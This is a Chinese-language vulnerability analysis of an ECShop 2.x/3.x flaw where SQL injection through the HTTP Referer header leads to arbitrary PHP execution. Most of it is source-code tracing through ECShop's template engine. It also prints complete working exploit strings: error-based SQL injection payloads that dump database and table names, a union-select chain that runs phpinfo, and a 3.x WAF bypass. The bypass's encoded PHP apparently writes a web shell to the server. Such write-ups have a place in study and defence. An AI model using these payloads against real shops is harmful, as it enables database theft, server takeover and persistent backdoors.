Ecshop 2.x/3.x SQL注入/任意代碼執行漏洞
影響版本:
Ecshop 2.x
Ecshop 3.x-3.6.0
漏洞分析:
該漏洞影響ECShop 2.x和3.x版本,是一個典型的“二次漏洞”,通過user.php文件中display()函數的模板變量可控,從而造成SQL注入漏洞,而后又通過SQL注入漏洞將惡意代碼注入到危險函數eval中,從而實現了任意代碼執行。
值得一提的是攻擊者利用的payload只適用於ECShop 2.x版本導致有部分安全分析者認為該漏洞不影響ECShop 3.x,這個是因為在3.x的版本里有引入防注入攻擊的安全代碼,通過我們分析發現該防御代碼完全可以繞過實現對ECShop 3.x的攻擊(詳見下文分析)。
注:以下代碼分析基於ECShop 2.7.3
SQL注入漏洞分析:
首先我們看一下漏洞的起源點 user.php ,在用戶login這里有一段代碼:
/* 用戶登錄界面 */ elseif ($action == 'login') { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER'])) { $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; } else { $back_act = 'user.php'; } } $captcha = intval($_CFG['captcha']); if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0) { $GLOBALS['smarty']->assign('enabled_captcha', 1); $GLOBALS['smarty']->assign('rand', mt_rand()); } $smarty->assign('back_act', $back_act); $smarty->display('user_passport.dwt'); }
Ecshop使用了php模版引擎smarty,該引擎有兩個基本的函數assign()、display()。assign()函數用於在模版執行時為模版變量賦值,display()函數用於顯示模版。
smarty運行時,會讀取模版文件,將模版文件中的占位符替換成assign()函數傳遞過來的參數值,並輸出一個編譯處理后的php文件,交由服務器運行。
可以看到 $back_act 是從 $GLOBALS['_SERVER']['HTTP_REFERER'] 獲取到的,HTTP_REFERER 是外部可控的參數,這也是我們注入payload的源頭。
在模版執行時,assign()把 $back_act 賦值給模版變量 back_act ,下面我們跟進這個模版變量到 /includes/cls_template.php :
/** * 注冊變量 * * @access public * @param mix $tpl_var * @param mix $value * * @return void */ function assign($tpl_var, $value = '') { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != '') { $this->_var[$key] = $val; } } } else { if ($tpl_var != '') { $this->_var[$tpl_var] = $value; } } }
從上面的assign()函數,我們看出 $tpl_var 接受我們傳過來的參數 $back_act ,但不是個數組,所以 $this ->_var[$back_act] = $back_act ,而后調用display()函數來顯示模板,在includes/init.php文件中創建了Smarty對象cls_template來處理模版文件,對應的文件是 includes/cla_template.php:
function display($filename, $cache_id = '') { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE); $this->_checkfile = false; $out = $this->fetch($filename, $cache_id); if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode('', $k); } error_reporting($this->_errorlevel); $this->_seterror--; echo $out; }
從user.php調用display()函數,傳遞進來的$filename是user_passport.dwt,從函數來看,首先會調用 $this->fetch 來處理 user_passport.dwt 模板文件,fetch函數中會用 $this->make_compiled 來編譯模板。user_passport.dwt其中一段如下:
<td align="left">
<input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="" class="us_Submit" />
make_compiled 會將模板中的變量解析,也就是在這個時候將上面assign中注冊到的變量 $back_act 傳遞進去了,解析完變量之后返回到display()函數中。此時$out是解析變量后的html內容,后面的代碼是判斷 $this->_echash 是否在 $out 中,如果存在的話,使用 $this->_echash 來分割內容,得到$k然后交給insert_mod處理,我們來查找 _echash 的值:
發現 _echash 是個默認的值,不是隨機生成的,所以 $val 內容可隨意控制。跟進$this->insert_mod:
function insert_mod($name) // 處理動態內容
{ list($fun, $para) = explode('|', $name); $para = unserialize($para); $fun = 'insert_' . $fun; return $fun($para); }
$val傳遞進來,先用 | 分割,得到 $fun 和 $para,$para進行反序列操作,$fun 和 insert_ 拼接,最后動態調用 $fun($para),函數名部分可控,參數完全可控。接下來就是尋找以 insert_ 開頭的可利用的函數了,在 /includes/lib_insert.php 有一個 insert_ads() 函數,正好滿足要求。看下 insert_ads() 函數:
function insert_ads($arr) { static $static_res = NULL; $time = gmtime(); if (!empty($arr['num']) && $arr['num'] != 1) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' . 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '. 'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' . "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ". "AND a.position_id = '" . $arr['id'] . "' " . 'ORDER BY rnd LIMIT ' . $arr['num']; $res = $GLOBALS['db']->GetAll($sql); } else { if ($static_res[$arr['id']] === NULL) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, '. 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '. 'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' . "WHERE enabled = 1 AND a.position_id = '" . $arr['id'] . "' AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " . 'ORDER BY rnd LIMIT 1'; $static_res[$arr['id']] = $GLOBALS['db']->GetAll($sql); } $res = $static_res[$arr['id']]; } $ads = array(); $position_style = '';
$arr 是可控的,並且 $arr['id'] 跟 $arr['num'] 會拼接到SQL語句中,這就造成了SQL注入漏洞。
根據上面的流程,可以構造出如下形式的payload
_echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))
由於通過上述分析,$arr['id'] 跟 $arr['num'] 都會拼接到SQL語句中,所以可以任意構造一個參數為sqlpayload,后面_echash 是默認的,fun是拼接到函數insert_后的名字,這里是insert_ads(),所以fun就是ads,關鍵是后面payload反序列化字符串如何寫,網上比較早之前出現的payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
我們把payload還原到語句中:
可以看到payload順利添加到sql語句中,來看這個payload序列化語句:
a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1
用在線網站(https://1024tools.com/unserialize)反序列化查看:
Array ( [num] => 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- - [id] => 1 )
demo環境測試:
這是在 $arr['num'] 處拼接sql語句,在 $arr['id'] 處同樣可以構造payload:
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:58:"1' and updatexml(1,make_set(3,'~',(select database())),1)#";
我們把payload還原到語句中:
demo環境測試:
構造payload爆出表名:
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:133:"1' and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#";}
demo環境測試:
當然,同時利用 $arr['id'] 和 $arr['num'] 兩個參數,引入 /**/ 將 ORDER BY 語句注釋掉也是可以的,構造payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:4:"' /*";s:3:"num";s:132:"*/ and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)";}
我們把payload還原到語句中:
demo環境測試:
只要仔細分析源代碼,能成功閉合單引號,注釋后面多余的內容,payload千千萬,我這里只用sql爆錯注入的updatexml()方法,其他均可利用!
代碼執行漏洞分析:
繼續看 insert_ads() 函數:
$position_style = ''; foreach ($res AS $row) { if ($row['position_id'] != $arr['id']) { continue; } $position_style = $row['position_style']; switch ($row['media_type']) { ...... $position_style = 'str:' . $position_style; $need_cache = $GLOBALS['smarty']->caching; $GLOBALS['smarty']->caching = false; $GLOBALS['smarty']->assign('ads', $ads); $val = $GLOBALS['smarty']->fetch($position_style); $GLOBALS['smarty']->caching = $need_cache; return $val;
可以看到在SQL查詢結束之后會調用模板類的fetch方法,在user.php中調用 display() 函數,然后調用fetch的時候傳入的參數是 user_passport.dwt,而在此處傳入的參數是 $position_style,向上溯源,發現是 $row['position_style'] 賦值而來,也就是SQL語句查詢的結果,結果上面這個SQL注入漏洞,SQL查詢的結果可控,也就是 $position_style可控。要到 $position_style = $row['position_style'];還有一個條件,就是 $row['position_id'] 要等於 $arr['id'] ,查詢結果可控,arr['id']同樣可控。之后 $position_style會拼接 'str:' 傳入fetch函數,跟進fetch方法:
/** * 處理模板文件 * * @access public * @param string $filename * @param sting $cache_id * * @return sring */ function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } else { ......
因為之前拼接 'str:'了,所以strncmp($filename,'str:', 4) == 0為真,然后會調用危險函數$this->_eval,這就是最終觸發漏洞的點。但是參數在傳遞之前要經過fetch_str方法的處理,跟進
/** * 處理字符串函數 * * @access public * @param string $source * * @return sring */ function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source); if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match)) { $sp_match[1] = array_unique($sp_match[1]); for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source); } for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source); } } return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); }
第一個正則會匹配一些關鍵字,然后置空,主要看下最后一個正則:
preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source)
這個正則是將捕獲到的值交於 $this-select() 函數處理。例如,$source的值是 abc123{hello}456efg ,正則捕獲到的就是 hello,然后就會調用 $this-select("hello")。
跟進select函數:
/** * 處理{}標簽 * * @access public * @param string $tag * * @return sring */ function select($tag) { $tag = stripslashes(trim($tag)); if (empty($tag)) { return '{}'; } elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注釋部分
{ return ''; } elseif ($tag{0} == '$') // 變量
{ // if(strpos($tag,"'") || strpos($tag,"]")) // { // return ''; // }
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>'; } ......
當傳入的變量的第一個字符是$,會返回由 php 標簽包含變量的字符串,最終返回到_eval()危險函數內,執行。在返回之前,還調用了$this->get_var處理,跟進get_var
/** * 處理smarty標簽中的變量標簽 * * @access public * @param string $val * * @return bool */ function get_val($val) { if (strrpos($val, '[') !== false) { $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val); } if (strrpos($val, '|') !== false) { $moddb = explode('|', $val); $val = array_shift($moddb); } if (empty($val)) { return ''; } if (strpos($val, '.$') !== false) { $all = explode('.$', $val); foreach ($all AS $key => $val) { $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']'; } $p = implode('', $all); } else { $p = $this->make_var($val); }
當傳入的變量沒有.$時,調用$this->make_var,跟進make_var:
/** * 處理去掉$的字符串 * * @access public * @param string $val * * @return bool */ function make_var($val) { if (strrpos($val, '.') === false) { if (isset($this->_var[$val]) && isset($this->_patchstack[$val])) { $val = $this->_patchstack[$val]; } $p = '$this->_var[\'' . $val . '\']'; } else { .....
在這里結合select函數里面的語句來看,<?php echo $this->_var['$val'];?>,要成功執行代碼的話,$val必須要把 [' 閉合,所以payload構造,從下往上構造,$val為 abc'];echo phpinfo();//;從select函數進入get_var的條件是第一個字符是 $,所以payload變成了 $abc'];echo phpinfo();//;而要進入到select,需要被捕獲,payload變成了{$abc'];echo phpinfo();//},這里因為payload的是phpinfo(),這里會被fetch_str函數的第一個正則匹配到,需要變換一下,所以payload變為 {$abc'];echo phpinfo/**/();//},到這里為止,php 惡意代碼就構造完成了。
接下來就是把構造好的代碼通過SQL注入漏洞傳給$position_style。 這里可以用union select 來控制查詢的結果,根據之前的流程,$row['position_id'] 和 $arr['id'] 要相等,$row['position_id']是第二列的結果,$position_style是第九列的結果。$arr['id']傳入' /* , $arr['num']傳入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -
0x27202f2a是 ' /* 的16進制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d 是上面構造的php代碼 {$abc'];echo phpinfo/**/();//} 的16進制值,也就是$position_style。
結合之前的SQL漏洞的payload構造,所以最終的payload的是:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
demo環境測試:
可以看到成功執行了 phpinfo();
ECShop 3.x 繞過
上述的測試環境都是2.7.3的,理論上打2.x都沒問題,而在3.x上是不行的,原因是3.x自帶了個WAF( includes/safety.php ),對所有傳入的參數都做了檢測,按照上面構造的 payload ,union select 會觸發SQL注入的檢測規則,有興趣的可以去繞繞,我沒繞過。。
下面的測試版本為ECshop3.0,3.x版本的echash是 45ea207d7a2b68c49582d2d22adf953a 。 上面說了 insert_ads 函數存在注入,並且有兩個可控點,$arr['id'] 和 $arr['num'],可以將union select通過兩個參數傳遞進去,一個參數傳遞一個關鍵字,中間的可以使用 /**/ 注釋掉,這樣就不會觸發WAF。
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:286:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:9:"' union/*";}45ea207d7a2b68c49582d2d22adf953aadsa
參考鏈接:
https://cloud.tencent.com/developer/news/310292
http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/